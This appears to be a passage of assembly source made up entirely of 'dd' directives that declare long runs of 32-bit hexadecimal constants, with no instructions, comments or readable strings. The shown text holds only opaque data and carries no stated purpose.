		dd 0E2F5EE03h, 682EFBE6h, 0CAF658A6h, 0E4E0FDAFh, 74D2B902h
		dd 0D3EAE8E3h, 1F31BE64h, 0EDD9008h, 0DD6CFB26h, 63CFE2D5h
		dd 0E0BF8334h, 0FC039726h, 70CACA82h, 781FBAE4h, 7B08CE4Ah
		dd 0CC802BADh, 9167A3C2h, 4A8FCE62h, 0DBCD5119h, 19D532F2h
		dd 671FF7Dh, 0B0223A71h, 0A7285411h, 6507D46h, 6F2DF61Ah
		dd 0E2D4D511h, 0C6185E4Ch, 0CE95D580h, 8A1618C9h, 79523799h
		dd 803D7033h, 4F7D40Eh,	0E498A52Bh, 2C53B700h, 6A09564Ah
		dd 8655C70Eh, 0A645EB2h, 1199FA3Bh, 5CEB438Ch, 1212B4DFh
		dd 0CB999720h, 77D24E1Dh, 4D807CFAh, 0A06DBBEDh, 0D76567D2h
		dd 0AFDF889Dh, 298100ECh, 0DDC6792h, 0D5AB8B47h, 636BA226h
		dd 0C1113E50h, 0E6A51F83h, 0C14A81EBh, 0A0156D63h, 39454C5Bh
		dd 3AE2B47Eh, 45C50A90h, 5705C8D8h, 0D75D98FDh,	6CB53545h
		dd 335006A1h, 908FCF56h, 5F01E1Eh, 75C5FD50h, 0BF1EB9D8h
		dd 4F3A77FEh, 0FCCE65Bh, 38AB9CC2h, 0BD24B79Eh,	0F264CFAAh
		dd 801D72ADh, 40C191D9h, 0A0201344h, 2BA503E3h,	2515AC44h
		dd 2D3785E0h, 79D0518Dh, 5E41E693h, 9C9E975Ch, 0F288EE6h
		dd 0B86099AFh, 0CF85BA7h, 19CC5627h, 4683AA09h,	8E0AF0E8h
		dd 329F2E59h, 6D8CB3CEh, 3EC50A93h, 0E2DF6EB7h,	1CBD6F73h
		dd 8511453Ah, 832879DEh, 0D91CB543h, 96DA660Ch,	55735D33h
		dd 0A80409EFh, 24B61C71h, 0FB5D1F78h, 94B39E9Fh, 0B01EA12Dh
		dd 0E72226D0h, 2962E60Ch, 3D27CDBFh, 4F39732h, 2AE5AEE1h
		dd 30487C0Eh, 9994029Eh, 321C15E1h, 0ECFA0650h,	8CC36285h
		dd 8022DF73h, 0A1D0446h, 0EE8F2172h, 392838A7h,	0D16BDD33h
		dd 0E7789057h, 2CEB8E82h, 900CF1C8h, 0C57FEB85h, 29089D70h
		dd 744E97EDh, 6E57B65Eh, 53E13346h, 0B4E82CBFh,	1C168ADDh
		dd 0D6E69D91h, 54D183C8h, 2AB37EF5h, 3805E2C9h,	1B2D8BEEh
		dd 0B31730Ch, 0A3600956h, 0E7AE975Fh, 7BEA7C2Ah, 60AF05E2h
		dd 36E09184h, 0D0B0B43Fh, 8F9CE690h, 0EF3FEFEh,	0C8C05C21h
		dd 0D8034BE8h, 0EA6059D0h, 42065C5h, 6FC06470h,	3E235E52h
		dd 0FB7658EEh, 41667B44h, 758AF42Bh, 0B337A3A5h, 0E8EF8B01h
		dd 941E7BB6h, 8AEF9329h, 0E21D5513h, 3A8715F9h,	0AE829740h
		dd 375A09FAh, 0B2433CA6h, 7C2F1095h, 8FA1407Bh,	76C63B40h
		dd 0A2B29E39h, 430E9324h, 1F1801A5h, 5007DFD3h,	2745852Dh
		dd 0CB509C50h, 0AA6D885h, 1C018C1Dh, 74890E24h,	37BDE1D1h
		dd 5E48112Fh, 802D386Eh, 4CBF38FEh, 0DB8A26E8h,	926DCEAFh
		dd 0D1E1A8E3h, 328CF3h,	0C38AD97Bh, 6DBF972Ah, 9A67A58Eh
		dd 0DA3D09FFh, 0F239C478h, 7734AD2Eh, 9745D10Fh, 65E4B225h
		dd 0B7A79119h, 18A6104Fh, 0C03EDD64h, 3E91436Eh, 0A9F65318h
		dd 0C63EB895h, 6150095h, 7B466FA7h, 0CC623364h,	8DD584ADh
		dd 5AE10A54h, 0C215C3C3h, 2998565Fh, 26AF168Eh,	25801A64h
		dd 0C20F978h, 0BDC17DD2h, 0C768A2F0h, 0E98B724Bh, 0E5D11BE2h
		dd 8B448962h, 5D1E1DC0h, 0CBC2AA2h, 5D171F1Dh, 7BDD3F45h
		dd 0DA106BDBh, 90B04D03h, 6D968318h, 5EBD8715h,	96E839C5h
		dd 0C86BFA2Fh, 417AEDFAh, 0C53E082Ch, 0B5E233DCh, 0BA4A44ABh
		dd 0E40E4988h, 0F2B2F30Fh, 0A058088Ch, 7F280B7Dh, 4751A54Ah
		dd 0AFC9BCC9h, 0AA244ABDh, 0FA087984h, 0EDFBA6E9h, 0A91E1749h
		dd 373336B3h, 1C4CC76Dh, 914FBEF0h, 74258C02h, 7317F9C5h
		dd 2EF67FA9h, 37B8E64Fh, 0A44CD1EDh, 8D36F74Dh,	24DA0791h
		dd 0D46C6252h, 0E8452774h, 0F07C3BCEh, 4A5A6E00h, 3D3C10BAh
		dd 0AFD564C1h, 0B79F6A0h
		dd 661E97D1h, 109BB875h, 0BE82CB8Eh, 237D3908h,	1E56A88Eh
		dd 386860h, 2E4B171Ah, 0B5CB520Bh, 0C56659F1h, 2C3F35D6h
		dd 174BD11h, 0B679618Dh, 0E728DD71h, 2A64791Ah,	5F575DAEh
		dd 0ADB1BC61h, 692A51F4h, 5C005B81h, 0C4062D02h, 0BA0DB216h
		dd 0D34D9944h, 4E247061h, 62C0CD7h, 0F68A3AF9h,	3A8F54Bh
		dd 71928A75h, 0C91734DBh, 483AC66Dh, 62B39810h,	0E4FDCA8Ch
		dd 8E85D470h, 541E0C4h,	9A74B276h, 0DDA1576Ah, 303BA947h
		dd 84D73772h, 0B69C439h, 0F06D8482h, 6CF5EFE5h,	713AE15Fh
		dd 0DC86F875h, 44138FA4h, 0CC0DEDFBh, 17BA530Ch, 0E23BF761h
		dd 7F8C8397h, 86C69C3Fh, 134D59FDh, 0A8AC0F1Fh,	979BD2B3h
		dd 0A9F691FEh, 4F69578Ah, 384DEF9Bh, 80603115h,	30D05E94h
		dd 84E90A86h, 7EC29F53h, 0ADBFA2CAh, 0B1016773h, 2744BA4Dh
		dd 71EC45C1h, 23FA6F6Bh, 69AE0626h, 0BD00CEF1h,	2C0AD74Bh
		dd 7BF1B819h, 0C7747D3Fh, 359F9BB3h, 0D37C6A13h, 0D7A8970Eh
		dd 690B3C7Eh, 803C6C19h, 768F2457h, 496347D0h, 0B76A1B0Bh
		dd 0DB962C2Ch, 83BB46ADh, 69CF5F7h, 0B48C7336h,	0FA7E47Dh
		dd 56E29213h, 42DCDDD7h, 7F0E13FEh, 830543B1h, 4B028123h
		dd 2C8F73Eh, 805DEEA1h,	0EC9B9A59h, 0E2417672h,	450A4940h
		dd 0D2F843F1h, 5F5A066Eh, 0C9B7F098h, 0CE924799h, 814B10F7h
		dd 476676ADh, 604577FBh, 0A30882FAh, 324AA9A2h,	2871A317h
		dd 3A71D7BCh, 0C7451A78h, 1DCE2E21h, 0ECEDA633h, 0E11B7DF8h
		dd 96C899BDh, 99257FF5h, 3A2ED9BDh, 25851E6Dh, 0ED87AF40h
		dd 6C991E9Dh, 4A2648CEh, 3C4DBCD1h, 5DB722A1h, 2F4DE6C5h
		dd 0D261800Bh, 3A56FB4Eh, 965F267Eh, 5B7078BAh,	34AEB45Fh
		dd 62DD5D44h, 603F1E2Fh, 722DB206h, 0F849E7E1h,	8298D11Fh
		dd 0E02522A7h, 92B4CE69h, 81EC5413h, 1FEFE0ADh,	0DAE2954Bh
		dd 76F32BE1h, 0A58D8DD0h, 0CF5F0F18h, 0E5FDEF11h, 271EF075h
		dd 0D693D73Ch, 0D0588F80h, 9A2026D1h, 2B4D45F6h, 699968A2h
		dd 2393121Ch, 765B30B7h, 0CBBB1A70h, 182D5296h,	1E224E6h
		dd 7E6C8770h, 43FB446h,	495BA736h, 0AB9CCA76h, 0EC57C455h
		dd 0CC887BFDh, 0CA0D7A17h, 0E28DBFE4h, 0DDFC906Fh, 0C8F45B8Dh
		dd 9CD09F2Ah, 7EA49E50h, 12DA15E9h, 524C5EDAh, 5E8A2687h
		dd 32CA0D25h, 0E0A53CD3h, 0CB9886FDh, 504DCE4Bh, 94BB9635h
		dd 696197ADh, 342DB5EEh, 0A458FCE4h, 7338DE41h,	6F832B7Dh
		dd 0E81D8EC7h, 0E6D4B1BFh, 0E82A5E17h, 0B7FB60C8h, 8FA7EF4h
		dd 0B9916D9Bh, 0B50FDD76h, 88836D6Bh, 8DEA86E3h, 7E918825h
		dd 0F452C902h, 7C1EE221h, 8451518Ch, 83F6FDE6h,	0C51A096Dh
		dd 0C2C54D95h, 7E6F106Bh, 6C258F60h, 5EA12A8Bh,	8E159BA7h
		dd 0F7FA29A2h, 21DD96D7h, 4A72B7B6h, 0E48A8586h, 73F2367Fh
		dd 0AE00B540h, 34A63036h, 3406D60Eh, 132F0F52h,	0F29CCF5Bh
		dd 2395AB3Dh, 0DEFBE721h, 88D6740Ah, 9BE79CA5h,	0ED7EBB9Ah
		dd 5718018Eh, 0B2A50FB0h, 0BD19063Fh, 0A3FAFA7Bh, 30A93C3h
		dd 29044C96h, 83270F0Eh, 0E33A61CDh, 95C65D38h,	8E62196Bh
		dd 964CD3B6h, 791E0950h, 0DE8750EDh, 0F395FC55h, 0F4CD838Eh
		dd 0FBEF8CF4h, 0FEBA811Eh, 0D1D2521Bh, 94C2CDB8h, 508C7D43h
		dd 0E21817C1h, 66B351DDh, 1AC79A17h, 0C9564C34h, 67B30C8Ch
		dd 0DDC7B430h, 629D16FFh, 0A91F030Dh, 98E026FBh, 9084B13Bh
		dd 2940EF9Bh, 0AF814DACh, 0B94B9999h, 84EF0383h, 0DCCDBD48h
		dd 2CA563DAh, 662D63D6h, 355E1FBBh, 0B4014D6Ch,	0F0EF854Fh
		dd 8035DC37h, 15567219h, 0CD40A4A7h, 7103E3DFh,	972E960Fh
		dd 242B68A0h, 1FB350F5h, 8B08EC7Dh, 0EA5C4CE6h,	5D25A8CFh
		dd 0B2963272h, 9C26E3DDh, 3C6F7B3Ah, 0EB691453h, 30C52673h
		dd 0F6DAFAD7h, 0EA5BF558h, 3C11F75Ch, 0B3681076h, 92729247h
		dd 77B3E3DCh, 4163B9BFh, 0D9085B45h, 6FEE1E59h,	0DDFFC25Bh
		dd 0CFA54022h, 0CAE0D04Ch, 952D0C9Bh, 0BC045A05h, 7B08C6AFh
		dd 0B92ECCE4h, 1DAB83A9h, 2358DDD5h, 0FAC88FFFh, 4B70F57Eh
		dd 13489276h, 4A4E5532h, 7529C82Ch, 0CD09A4DEh,	4AA20B0Dh
		dd 5AA071B5h, 0D609BA00h, 0D37011Ch, 0E082DF0h,	0AA6E2221h
		dd 3ED20113h, 4DA7ACADh, 0E7A064AFh, 0C146E67h,	8A7FEA1h
		dd 1026634Dh, 1DD700A7h, 1F0A5FDCh, 269EFFC5h, 2D72A69Dh
		dd 7CED0E72h, 0B460065h, 0D73B43D4h, 0A69DA30Dh, 55F80DFDh
		dd 0B9A2FDB3h, 9888423Dh, 8068FDDFh, 3EDC0BF4h,	22933AF5h
		dd 54486523h, 0BE7AB423h, 860720F9h, 81C947D9h,	69C1D914h
		dd 7C5A99C9h, 0E9A935ADh, 0EA611597h, 56760867h, 439E21E0h
		dd 915E3D15h, 5DDDA288h, 0C67E7637h, 1E976CCEh,	0A3FCE84h
		dd 0A4E98815h, 43A33A8Bh, 3377F467h, 96E0D224h,	17C2A554h
		dd 3C00559Bh, 0C9FDBFF0h, 3B549384h, 5D650874h,	399DEADCh
		dd 0CCD74BD5h, 34683DF6h, 0D3FD6844h, 713B71E8h, 9A55E636h
		dd 0C3B2B705h, 6E25B30Ah, 0E6764877h, 0B32553F5h, 61EDF938h
		dd 82040FA2h, 0EB737CEBh, 121B0FE9h, 0A61FA994h, 0F3BFB12Dh
		dd 0BB5569DBh, 0FCD6ED7Eh, 30A92071h, 76E3A166h, 920445B9h
		dd 7A217B7Eh, 20524009h, 50FF2FD1h, 604BDFECh, 6EDEC8B2h
		dd 48A9C114h, 4662A301h, 0ABFAFB19h, 83BBEE0Ch,	78A34E75h
		dd 87D07425h, 0EA911800h, 8CD7038Eh, 0C3410329h, 507C9C04h
		dd 56EEC195h, 0DACE577Ah, 0CF31C85Fh, 0C043FB28h, 9253EE97h
		dd 38FAE125h, 6353BBAFh, 6853A4D9h, 0B3C71947h,	6A556B98h
		dd 5F8F8809h, 0E61B472Fh, 0F541E67h, 1AD8142Eh,	5D8282BAh
		dd 0AF13B074h, 218D3EA6h, 3EA101ABh, 692CFB35h,	40740610h
		dd 1EB48B29h, 0D4576750h, 0AD8DEFFCh, 6F70E3FEh, 0A8F08AFAh
		dd 7BD8269h, 960A0308h,	7DABA8E3h, 7A22B2E4h, 0FB4F3FBh
		dd 0CA818CE2h, 79E38270h, 15ABB26Ah, 104608AEh,	0DFEAAD57h
		dd 0A0D5E77Dh, 4588E4DFh, 0A163A3B9h, 454AE88Fh, 1CB21F0Bh
		dd 9EA50B7Fh, 27C4577Dh, 0A329E1E6h, 0E50024CAh, 470AA59Bh
		dd 0E3BFB6BDh, 924B9687h, 797FCC1h, 500979C6h, 0CDD47Ch
		dd 508CB5B2h, 5B2AAD55h, 4E64D1F3h, 0D4A00C1Ah,	0AF61714Dh
		dd 4B489A9Eh, 0D2CE89C0h, 0AAF1EC42h, 9F15A2D2h, 33B582DCh
		dd 0F9ED6F11h, 42756E20h, 1EEEE1Fh, 98EF61h, 0A2AFDDB2h
		dd 306E8ADFh, 7CEAC203h, 936D7599h, 0ED4EEB2h, 9605A494h
		dd 7D98EF5Bh, 4C0348F9h, 0B4A3014Eh, 619E711Eh,	0D8ABA0A0h
		dd 453E83E0h, 5E940BE8h, 0B1B86E5Dh, 547FD26Eh,	8A8A76D9h
		dd 311B11B5h, 0B4B1D9C7h, 0F2975507h, 0DA1E1451h, 1A785883h
		dd 0AB8B444Eh, 0D219C476h, 9F0E3D8Eh, 3F83B60h,	5CC10BCBh
		dd 4DAABD2Dh, 51519BD7h, 0C72942ADh, 0E8184D1Eh, 8EA6199Fh
		dd 0FED2C535h, 69EC40E7h, 2CF228E6h, 0AE2F33CAh, 2ECA6B29h
		dd 4A732BAAh, 586364D5h, 0C22BB3AFh, 0BEFCD32Dh, 979F0768h
		dd 8E1673D3h, 0D5EB16BEh, 0B356CF85h, 7CC57187h, 80D7063Bh
		dd 0CB8DD563h, 5F4E62C9h, 2E4FCDDAh, 78696558h,	5471229Ah
		dd 0AB9014F4h, 83B08A95h, 0D1D1680h, 0D6A3AB56h, 69DAE9E9h
		dd 305885EAh, 0C91C1BCFh, 26508D1Fh, 33E171AEh,	0FB60C37Ah
		dd 37600EBEh, 87926701h, 2E70D54h, 0BE1ED6B9h, 24F18ADCh
		dd 0CE1AA33Dh, 1F2EB169h, 5AB53506h, 2B2B8819h,	805086Dh
		dd 43772A6Fh, 90F064F0h, 454FD542h, 0F7AAFE63h,	0C98A9E20h
		dd 7878016Dh, 78CA1C9Bh
		dd 0CC6B3C12h, 0E6055290h, 74EB722Eh, 0CF9E61A9h, 12E66E18h
		dd 0B76E66B9h, 1516B9F4h, 4AC7C7D2h, 7C3861FDh,	2FC07172h
		dd 7004A878h, 97C76FC4h, 3A232A4Bh, 0BF44A189h,	0A844946Ch
		dd 0C0F902ABh, 932E2D97h, 0EFE1022Dh, 0DE546522h, 16EB24A3h
		dd 0B6F748E4h, 0E3940FDAh, 49DF3A83h, 0DD4580BAh, 0DC51DD7Eh
		dd 0D409C40Bh, 0CA1FA59Dh, 220EA589h, 0B8EE6C5Bh, 8DB904E6h
		dd 866C3AF7h, 0A8D99E13h, 0EEA279F7h, 81DABB51h, 400539A2h
		dd 2961658Dh, 58F03CE4h, 3AA1825Ah, 4B9EDF67h, 325239E2h
		dd 0B4272BFAh, 0D6DBCA7Eh, 648704C9h, 33B86F8Dh, 0DDF750C3h
		dd 0E8019055h, 710E6E39h, 0D31D3B5Fh, 54447930h, 9B7B1BE3h
		dd 3AA02C3Bh, 9017712Dh, 0E535E51Ch, 0E3B288ACh, 5C7EC54Eh
		dd 2B7830E2h, 6FBB8807h, 2C7C4978h, 93790DF0h, 0C7E3019Bh
		dd 605EC652h, 9AF8ED05h, 8B3B8CCAh, 89B8A25Fh, 0D23DD49Eh
		dd 0FAB0CF73h, 0A0CE4729h, 72035BBh, 81A7F2A6h,	80562E4Eh
		dd 9350C57Ch, 2BA56C76h, 2CF3ABD3h, 5117B6DFh, 56D18D64h
		dd 7B024A44h, 8EC8F748h, 0E43B1367h, 0DB4C2DEAh, 0E375E6DCh
		dd 9FAB1C27h, 9C6F6222h, 0FDB41D70h, 3C416D8Bh,	861F3F35h
		dd 9354E249h, 0F65270B5h, 0BF7EE4D0h, 4014F848h, 105D118Ah
		dd 0B704D2F1h, 54FE6182h, 42F3EA1Bh, 8354EFCCh,	8B1129A3h
		dd 678F8F9Ch, 47F1DE1Eh, 44DACA4Ah, 40A27A0Dh, 4F926DF9h
		dd 0AAE6EE3Ch, 2828ABDDh, 0EFFEDF97h, 0F9A2226Eh, 7B3A3785h
		dd 0F2328AFDh, 0DC10E359h, 0F6528745h, 3C317DAFh, 0F98655Ah
		dd 9B9EFADCh, 786A351Ah, 0A166DC61h, 7F79B9CBh,	36A21FEFh
		dd 9FCED1DFh, 0EDA38E30h, 48C4E05Eh, 0CE50E79Fh, 48F50D6Ch
		dd 1A2153C0h, 5F7C8F65h, 99874D4Ah, 66ECD563h, 0DF8A0F0Bh
		dd 0C314F30Ch, 0A9F289F6h, 9BF86EB2h, 5E1A5921h, 3E3AB038h
		dd 33CFD07Dh, 0FD42A3CAh, 1998578Fh, 1ED0131Dh,	6B2A4993h
		dd 0D28BF911h, 549BEAB1h, 3DD9F96Bh, 7D04F62Ch,	0D76C6AFBh
		dd 4B0E52A9h, 5FB64262h, 0C9B07B32h, 2A8FEFFDh,	0A777E557h
		dd 2B7CF77Ah, 222792F5h, 0F8C869F4h, 86590E9h, 200F5E57h
		dd 72F28C4Eh, 0B2654C31h, 1281FD89h, 5F97DF4Ah,	0E1BD34ACh
		dd 0CF5EF598h, 61273093h, 9A326B6h, 1A2409ACh, 778345FBh
		dd 0F777046Ah, 31F8A74Bh, 0E1A8DECCh, 4D203143h, 6DADB1EAh
		dd 28DDAA80h, 0CEB0158Fh, 0DD28D73Ah, 1E6064E0h, 7A77A8BFh
		dd 0D90E9FF1h, 48B0FAA7h, 0E1BEDC14h, 0BCF9CE3h, 7B717405h
		dd 0A8ADD466h, 0C39CBA24h, 0F1B85698h, 51EDCCF4h, 5E77113h
		dd 0CD9BB563h, 38AA02BBh, 0A3609694h, 6C1F63A9h, 0B7E79EE1h
		dd 7AA5026Bh, 0D0B4BD8Ch, 5342CEDFh, 0DD5CC6D8h, 3CC6A644h
		dd 220E520Bh, 26AA4AB4h, 5C277BDDh, 0F64F0353h,	47CCC0C1h
		dd 64C70079h, 8D1362BEh, 66355C30h, 0E91383FCh,	91EEA465h
		dd 0A2AA174Fh, 47A84875h, 0AB6EC14Ch, 348CDD3Ch, 0ADFD234Ah
		dd 0BED4030Fh, 20D7A75Eh, 672FA6E4h, 0BECFE3B9h, 4452BE53h
		dd 0E7B897C5h, 6E463E6Fh, 260B0E94h, 992F4CBh, 93FEEC24h
		dd 88CD4AFh, 1EBEAE9h, 868CA280h, 0B0209019h, 1CFA1D7Bh
		dd 4DD1BD3Fh, 0E7E65E76h, 61190C4Fh, 85F6F538h,	0C10E8D58h
		dd 154907ADh, 13000F83h, 209369EDh, 93B969DCh, 0EB9BDEEAh
		dd 3E95FAA2h, 30E4A512h, 388DF228h, 0DA6CBF2Ah,	0B220226h
		dd 0EFB854D9h, 8D57C2CFh, 79F4569Fh, 0ACF000A2h, 0C81091Dh
		dd 9F68B79Eh, 0D0557039h, 396690C8h, 7799BD38h,	0FE707914h
		dd 1432BFEAh, 0C8263C72h, 4C46C686h, 0F547D784h, 0E5AA64Bh
		dd 88E975Ah, 67311472h,	0DF0CA57Ah, 0BC15896Bh,	683197D4h
		dd 9EC6D3F0h, 308DF91Eh, 0FCA1012Dh, 0B8E31320h, 7BCCB04Dh
		dd 0B38558C3h, 4AFB4407h, 0C606CFDEh, 0BDDDF4FBh, 36F2EF3Bh
		dd 0EDF74B15h, 19C2ED1h, 56C974E4h, 0FA78EA05h,	5B260AA7h
		dd 79B30A1Eh, 93DBDAE7h, 92E23B4Ch, 4F5FEE3Bh, 5B323897h
		dd 7AA0415Bh, 3000B811h, 0CC6F06E0h, 4314F7B8h,	3FE8E872h
		dd 0F8144A4Fh, 3936652Fh, 63A8BDD4h, 266BE0ACh,	0EACED212h
		dd 0F4DB135Ch, 1ED33730h, 1222CCACh, 68D1A85Ah,	71F7579Eh
		dd 582731D8h, 0F1C6C08Ch, 0DF0D309Ch, 5B838657h, 0E8F18787h
		dd 1123EDBAh, 63C37329h, 0B1514D22h, 0FD7E7EFBh, 848F6514h
		dd 31887F3Fh, 16A70A06h, 4FA387FAh, 0EB7D3605h,	1BFF683Ah
		dd 76A46096h, 66B74594h, 732AF416h, 0E1E73014h,	26D6218Eh
		dd 0A87FA034h, 5950D243h, 0BBC1B1E0h, 4E197103h, 0BCCAE9Ah
		dd 65C5D3E9h, 9227A4EFh, 0E11BC925h, 0B5A5C49h,	7BFBBBCFh
		dd 0E847E605h, 996CA9FAh, 0A44322E2h, 8172D9BEh, 0FB1A3285h
		dd 0EE675A12h, 469BE5A2h, 963C89F1h, 6F3DB561h,	67D748F3h
		dd 3D1C306h, 0C667E28Dh, 0A0418697h, 0B74CFAE3h, 34730788h
		dd 0C0722582h, 2F99ABC7h, 0B2FCE703h, 4D8F8575h, 2F882E2Ah
		dd 295C169Dh, 90C9F6B5h, 4324760Fh, 6A79D2E4h, 55C3D2E3h
		dd 0C1BC4792h, 1C72A5FAh, 0EE5D832Fh, 0BF5EE248h, 0B9B0778Ah
		dd 0A8AA46AFh, 915770CBh, 0AD82BE3Fh, 32A97ACBh, 0F9E8F7F5h
		dd 946E203Fh, 131660D0h, 6118DD8Ch, 2947FB25h, 6D7A8C7Bh
		dd 34959134h, 0DE620022h, 0DD41CBC9h, 0A20831E0h, 800A9ECDh
		dd 0B138C5BCh, 0B69BEF08h, 53C2A5C2h, 0AC64BD70h, 0E3B10E68h
		dd 0FEC4B2Dh, 68AC7677h, 0A07B6AD6h, 0BDF3373h,	0E38A0CC6h
		dd 8AA3503Fh, 0AEF85F6h, 7FA240B5h, 0D27E1F7Dh,	28C0568Bh
		dd 9665C9h, 4D749435h, 5177F1E3h, 0B0A17AEFh, 689F4A8Dh
		dd 4ACC2428h, 0EF5A4A91h, 0A285D6D0h, 4D1A0DAh,	11561A8Fh
		dd 23B44352h, 0F67CF925h, 0F3EA7557h, 83409208h, 3C4C7740h
		dd 192AE9Dh, 0B2F9B383h, 403F777Fh, 8E969F82h, 0D09D4C43h
		dd 1EF3772Bh, 4968D005h, 4C526327h, 9B33C464h, 0F9D99AD7h
		dd 0B478D8FBh, 1DD35B69h, 0C12F952Fh, 0C175CE8h, 0CB0CE7C5h
		dd 79AF8E1h, 0E4A52C3Ch, 0CA630DBEh, 0A908AF4Bh, 0F72E1609h
		dd 1DB8B9B2h, 0FFE1A3F5h, 1B879D3Ch, 0EB9CDDD6h, 0F48124EBh
		dd 0B8AA0h, 11FBF55Fh, 0E10D2E08h, 31888172h, 0C6E9814Dh
		dd 0E10E511Ah, 465E8F0Eh, 8471F337h, 1E235BC5h,	242FA695h
		dd 5F1C1AA6h, 9C5C636Ch, 1BFFFE75h, 0ED45D636h,	7A39E4DEh
		dd 11922389h, 7463ED53h, 0D2215B49h, 7537F7DDh,	0AE31CE9Fh
		dd 2003D36h, 31DB0D01h,	0B4F05D91h, 0B528175Eh,	8534105Dh
		dd 9ED0E3C3h, 3802B50Ah, 0E8A09046h, 0C4E180F7h, 0E90CD040h
		dd 60126037h, 4630777Eh, 33065637h, 24E0588Bh, 0C09B20CCh
		dd 3AD98036h, 539CC539h, 258D01EBh, 7F9926C9h, 9AC4E2Ch
		dd 4A73570Dh, 0A2894CA7h, 9AB42A58h, 7B32FDB1h,	1140B3F6h
		dd 82527565h, 4EED1ADh,	19526EEDh, 8CBE24AEh, 0CA5ED9B2h
		dd 0CD9FDEEDh, 184849h,	0F6F4504h, 3F6C58EDh, 9EFE0782h
		dd 0EA7948D9h, 0E2F57892h, 0E9A1A148h, 0BFA09D94h, 0C35EECF0h
		dd 0A43D9FADh, 9B1C0452h, 78CEA26Ch, 91E3CDD5h,	78B4A84Fh
		dd 3AD221EBh, 3CC0A456h, 0EAE5E814h, 52C0DF65h,	8A6657F2h
		dd 0D7FC976Eh, 0C964E91Dh, 2399A45Ah, 8ABB7735h, 0C9130CC5h
		dd 0A0A21D92h, 5B441C8Ah, 3BF86E42h, 2564588Bh,	497D10F2h
		dd 0EA0A153Ah, 0B9D6D78h, 29E189D6h, 74BF008Fh,	0ABFF9B1Ch
		dd 26AF5820h, 6B59CECDh, 5F39F06Dh, 5D3F5D69h, 1EBE1FF5h
		dd 2C8C9E9Fh, 5744FB3h
		dd 0C1584944h, 9FE9C6BBh, 7E07F233h, 0B65FE1DCh, 0F1E955E5h
		dd 9D4E0EE0h, 63E13CBBh, 5C950580h, 6281A9F6h, 0A021C269h
		dd 449E96AFh, 0F94629DEh, 28EBCA18h, 0B9F32616h, 0BCC577C9h
		dd 80DF8FA0h, 40C99D55h, 0A8B8BBB6h, 3850741Ah,	0C2C7830Dh
		dd 0C7B65692h, 4BAD3BB5h, 66E81FBEh, 3E29EA71h,	300780Eh
		dd 0D3E0A340h, 0A0703A63h, 430CF89Ah, 0A920AD57h, 0F1961A77h
		dd 0F8EE8F93h, 7329CB31h, 13B6D6C9h, 0F086C6C4h, 0D1768B3Ah
		dd 378F9012h, 0A4A43F04h, 6A1C549Fh, 9F01861Ah,	2FBA47Bh
		dd 5224CB18h, 0BA560Fh,	5B4A3B2Bh, 0F6286904h, 0E6C09C0Eh
		dd 3EA2852Ah, 0BCC37AB7h, 0D1926F98h, 8115A1D5h, 4699BBFBh
		dd 60216BEEh, 0FF8A8B50h, 0F8C3FC9Ch, 0A0F013B8h, 263A3647h
		dd 0D22C4D66h, 15ACD8Ch, 2CACA13Dh, 2D9D6894h, 0CE4BF563h
		dd 50BE946Ch, 843F3544h, 80B193D8h, 52BAE76Bh, 0E9E3FE8Dh
		dd 53623978h, 0CBEEA4E8h, 742D6735h, 0BE1EBF1Fh, 960ECAh
		dd 0E8500362h, 0EE52DAA5h, 49250D0Bh, 0E33BF666h, 378B13EAh
		dd 4BD57E51h, 17E4D346h, 0DFF5C597h, 0FCD8ECDAh, 0AB273C49h
		dd 5A6B3F45h, 0B1DE176Ah, 5D537A04h, 811F703Ah,	25D2099h
		dd 0F53BB389h, 60273ADEh, 9F6E5332h, 0CE6C22B6h, 18521D4Eh
		dd 0D7E6BA27h, 0D380AFAAh, 0A5295E48h, 0C94283C6h, 0EF1FD2FAh
		dd 38647919h, 0A36656A6h, 0DF1A6E1Eh, 35D4F014h, 50FE2240h
		dd 3C55AE93h, 8E1D65D9h, 8AF19033h, 61DA20D8h, 0B4741F4Eh
		dd 55D0AD88h, 0C01DA05Ah, 0CEE4B61Fh, 158DA539h, 971870A2h
		dd 0BD4C94Dh, 0D53B2228h, 8F4091EEh, 0E7380200h, 876BD722h
		dd 0EF4D75F3h, 1C8861DCh, 68DA3E6Bh, 5B3B17B6h,	0BF5D0F56h
		dd 0B58DF250h, 41AEDFB1h, 0CF2DF307h, 8F4C28D4h, 471124F8h
		dd 0D7D1DE74h, 0D51CADF7h, 4C34B453h, 0FE6751EAh, 294FCE4Eh
		dd 0CBCE60A7h, 999AEE67h, 94DAB27Ah, 2360D5F8h,	6D2EA0EDh
		dd 5636747Dh, 0DABAAA0Bh, 0BFD6A48Fh, 0C9CD024Ch, 1895A2C2h
		dd 0B186B5AFh, 4F928330h, 58F38EFDh, 3DBCFA7Eh,	0EC974C3Bh
		dd 0C0ED875Bh, 617B97B2h, 8ED7954Ah, 25880BC1h,	81D7B8E7h
		dd 2A0A23B0h, 0F78270F2h, 499C7A00h, 0E6F2AAFAh, 0F9C67127h
		dd 337FE6B0h, 50494790h, 2E9BD3E6h, 0F0CA9341h,	78C3FBDCh
		dd 64339AC9h, 5D09DF12h, 0C4E78D13h, 0A5BC3DC9h, 0F87B9E4Ch
		dd 96E369CEh, 82E1E0D0h, 388C53A1h, 45E62735h, 0A091A410h
		dd 96087C2Ah, 24883BB3h, 0BBBF2A80h, 30967A1Dh,	0AAF8D41Bh
		dd 0C1F8CA3Eh, 0FB093970h, 65448F49h, 0FF3F21FEh, 0AD969B6Dh
		dd 656228C8h, 0BCEB8034h, 0C38C48EBh, 22F447CCh, 0C3727A80h
		dd 1F23019Ah, 56B5378Eh, 0A47966DEh, 509BF5B2h,	7846635Fh
		dd 925A0137h, 0A6430E97h, 75800B9h, 0D0E50EE4h,	0B7B7F20Dh
		dd 889CDE63h, 279BB7E6h, 0AF1997E3h, 4C9A725h, 87D9BC9Bh
		dd 0B6395FF1h, 5D5E7D7Fh, 0BCDA64D9h, 668A5967h, 73796EA1h
		dd 233EBAB4h, 99D7459Ah, 18768696h, 0D14E4A34h,	8610C02h
		dd 0B5DDF326h, 34286B73h, 0F707A1F6h, 79F79770h, 759832B5h
		dd 6E8FBFB3h, 0FD08E1BBh, 0F0F2D6F5h, 635BEBDDh, 0AF3AC1B0h
		dd 28857437h, 5B488BE6h, 0F8D8156h, 43A0711Ah, 0FAA56A43h
		dd 198B0D4Ch, 0D92CAF14h, 0C0CEA88h, 74320855h,	1A3C115Eh
		dd 2A5730DBh, 1695EB9Ch, 17782ABCh, 948EDD02h, 84E2A5A7h
		dd 0AA7A931Eh, 0ED539987h, 8427E0BBh, 2D69EFF1h, 874FC68Fh
